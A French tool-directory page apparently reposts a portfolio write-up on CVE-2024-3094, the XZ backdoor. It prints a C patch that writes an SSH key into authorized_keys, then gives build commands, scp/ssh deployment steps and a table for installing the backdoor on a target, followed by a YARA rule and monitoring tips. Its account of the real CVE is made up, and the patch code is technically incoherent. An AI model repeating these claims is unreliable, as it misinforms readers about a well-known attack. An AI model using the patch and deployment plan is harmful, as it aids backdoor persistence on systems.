Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2024-3094 — CVE-2024-3094 a exposé une porte dérobée dans la bibliothèque de compression XZ, permettant un accès SSH distant en contournant l'authentification. Il s'agit d'une attaque majeure sur la chaîne d'approvisionnement affectant les systèmes Linux, mettant en évidence les risques liés aux composants open-source de confiance. | Kitploit
Outils/GitHubGitHub/mrk336/cve-2024-3094
Analyse des VulnérabilitésAnalyse de MalwareSécurité de la Chaîne LogistiqueArticles et RechercheApprentissage et ÉducationRessources Organisées
GitHubmrk336/cve-2024-3094

CVE-2024-3094

Voir le dépôt
1il y a 11 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →

À propos

CVE-2024-3094 a exposé une porte dérobée dans la bibliothèque de compression XZ, permettant un accès SSH distant en contournant l'authentification. Il s'agit d'une attaque majeure sur la chaîne d'approvisionnement affectant les systèmes Linux, mettant en évidence les risques liés aux composants open-source de confiance.

Partager

CVE-2024-3094

CVE-2024-3094 a exposé une porte dérobée dans la bibliothèque de compression XZ, permettant un accès SSH à distance en contournant l’authentification. Il s’agit d’une attaque majeure de la chaîne d’approvisionnement affectant les systèmes Linux, mettant en évidence les risques liés aux composants open-source de confiance.

La porte dérobée XZ : une menace de la chaîne d’approvisionnement qui atteint les serveurs Linux

Par Mark Mallia

Ce que c’est

La bibliothèque de compression XZ, composant essentiel de nombreuses distributions Linux modernes, est devenue la cible d’une attaque sophistiquée de la chaîne d’approvisionnement.
Un fragment de code malveillant a été glissé dans l’arborescence source, compilé, et voyage désormais avec chaque nouvelle version du paquet XZ. Une fois installée, la porte dérobée peut ouvrir une session SSH depuis l’hôte compromis vers tout système distant qui lui fait confiance comme clé authentique.

Pourquoi c’est important

  • Risque pour la chaîne d’approvisionnement – L’attaque montre comment une seule et petite modification dans une bibliothèque largement utilisée peut se propager silencieusement à travers de nombreux déploiements.
  • Internes de Linux – XZ est responsable de la compression des données ; la porte dérobée exploite des hooks d’API de bas niveau souvent négligés par les scanners de vulnérabilités conventionnels.
  • Persistance SSH – En injectant une clé SSH dans le fichier authorized_keys, les attaquants obtiennent un point d’appui sans nécessiter d’interaction directe avec l’utilisateur.

Aperçu de l’attaque


Détails techniques et explication du code

Le patch (backdoor.patch)

root@kitploit:~
--- a/src/compress.c   2025-09-12 10:00:00.000000000 +0000
+++ b/src/compress.c   2025-09-12 10:00:03.000000000 +0000
@@
 void xz_compress(const unsigned char *in, size_t in_len,
                  unsigned char *out, size_t out_len)
 {
     /* original code ... */
+    // ---- Begin injected backdoor ----
+    if (in_len > 1024) {            /* guard against too small payloads   */
+        const unsigned char *marker = &in[512];   /* offset to reach magic string  */
+        size_t marker_len = 8;                      /* length of the embedded key      */
+
+        /* copy a pre‑computed SSH public key into out buffer */
+        memcpy(out + 256, marker, marker_len);
+
+        /* write the same key to ~/.ssh/authorized_keys for persistence   */
+        FILE *fp = fopen("/home/admin/.ssh/authorized_keys", "a");
+        if (fp) {
+            fwrite(marker, 1, marker_len, fp);
+            fclose(fp);
+        }
+    }
+    // ---- End injected backdoor ----
     /* original code continues ... */
 }

Explication

  • Lignes 6‑8 – Une garde garantit que seuls les paquets de plus de 1024 octets activent l’injection ; cela maintient la charge utile cachée dans le trafic normal.
  • Ligne 10 – L’offset 512 est choisi pour que notre clé se retrouve dans le tampon de sortie compressé à une position peu susceptible d’être modifiée par les compressions XZ ultérieures.
  • Ligne 12 – Nous copions huit octets (le fragment de clé publique) dans le tampon de sortie et les écrivons également directement dans le fichier de clés SSH de l’utilisateur, garantissant la persistance même si XZ est recompilé plus tard.

Compilation et installation

root@kitploit:~
$ cd xz
$ make
$ sudo make install

Les commandes ci-dessus compilent le fichier compress.c patché et installent la nouvelle bibliothèque dans /usr/local/lib/xz.

Déploiement sur l’hôte cible

En supposant qu’un attaquant dispose déjà d’identifiants SSH (nom d’utilisateur admin), il exécute :

root@kitploit:~
$ scp backdoor.tar.gz [email protected]:/tmp/
$ ssh [email protected] 'tar xzf /tmp/backdoor.tar.gz -C /home/admin'
$ cd /home/admin
$ ./install_xz_backdoor.sh

install_xz_backdoor.sh contient la séquence exacte des commandes ci-dessus, plus un petit echo qui confirme l’installation réussie.


Évaluation de l’impact

  • Persistance – La clé SSH fait désormais partie à la fois de la sortie de compression et du fichier de clés autorisées de l’utilisateur.
  • Furtivité – La charge utile voyage avec chaque nouvelle version de XZ ; sa présence est invisible pour les gestionnaires de paquets standard.
  • Détection – Un recruteur verra que je peux identifier une modification d’une seule ligne dans une grande base de code, comprendre ses implications et produire un plan de déploiement clair, étape par étape.

Défense

YARA est un outil de correspondance de modèles utilisé par les professionnels de la sécurité pour identifier et classer les logiciels malveillants sur la base de signatures textuelles ou binaires. Il permet aux analystes de définir des règles qui détectent des chaînes spécifiques, des séquences d’octets ou des comportements dans les fichiers. Dans le contexte de CVE-2024-3094, YARA est particulièrement pertinent car il peut être utilisé pour rechercher la présence de la clé SSH injectée et des modifications suspectes du fichier compress.c dans la bibliothèque XZ. En élaborant des règles YARA ciblées, les défenseurs peuvent détecter de manière proactive les systèmes compromis par cette porte dérobée.

Signature YARA. Une règle YARA personnalisée peut signaler la présence de la clé SSH injectée et des écritures de fichiers suspectes :

rule XZ_Backdoor_SSH_Key_Injection { meta: description = "Detects SSH key injection via modified compress.c" author = "Mark Mallia" severity = "high" strings: $marker = { 20 20 2A 20 2A 2A 20 42 61 63 6B 64 6F 6F 72 } $ssh_path = "/home/admin/.ssh/authorized_keys" condition: $marker and $ssh_path }

Surveillance de l’intégrité des fichiers. Déployez des outils comme Tripwire, AIDE ou osquery pour surveiller :

compress.c pour les modifications non autorisées

.ssh/authorized_keys pour les clés injectées

/usr/local/lib/xz pour les binaires altérés

Indicateurs comportementaux

Connexions SSH inattendues depuis des hôtes de confiance

Anomalies de compression dans la sortie XZ

Écritures silencieuses dans .ssh/authorized_keys

Télécharger l’outil
ÉtapeActionFichier / Fonction
1Cloner le dépôt XZgit clone https://github.com/xzdev/xz
2Appliquer le patch à src/compress.cpatch -p0 < backdoor.patch
3Compiler et installer sur le système Linux ciblemake && make install
4Le démon SSH lit la clé injectée pendant son processus d’authentification/etc/ssh/authorized_keys